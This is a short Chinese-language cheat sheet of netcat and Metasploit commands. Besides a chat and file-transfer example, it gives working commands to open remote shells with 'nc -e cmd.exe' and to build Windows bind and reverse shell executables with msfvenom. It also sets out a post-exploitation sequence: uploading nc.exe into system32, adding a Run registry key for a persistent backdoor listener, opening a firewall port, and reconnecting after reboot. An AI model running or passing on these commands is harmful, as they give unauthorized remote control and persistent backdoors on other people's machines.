Netcat常用方法汇总

# 服务端
nc -lvp 5678
# 客户端
nc 192.168.1.15 5678

# 接收端
nc -lvp 5555 > a.zip
# 发送端
nc 192.168.1.5 5678 < cms.zip

# 监听端
nc -lvp 5678
# 控制端
nc 192.168.1.5 5678 -e cmd.exe

# 控制端启动监听
nc -lvp 1234

msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=4444 –f exe > root.exe
nc 192.168.0.103 4444

msfvenom –p windows/shell_reverse_tcp  lhost=192.168.0.107 lport=8888 –f exe > root.exe
nc -lvp 8888

# 将nc.exe上传至目标服务器中指定目录
msf > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32

# 切换到目标cmd环境
msf > shell

# 添加自启动注册表项
C:\WINDOWS> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'

# 添加nc出入站防火墙规则
C:\WINDOWS> netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

# 检查nc防火墙是否已经开放
C:\WINDOWS> netsh firewall show portopening

# 重启目标电脑，使用nc连接
C:\WINDOWS> nc -nv 192.168.0.101 4445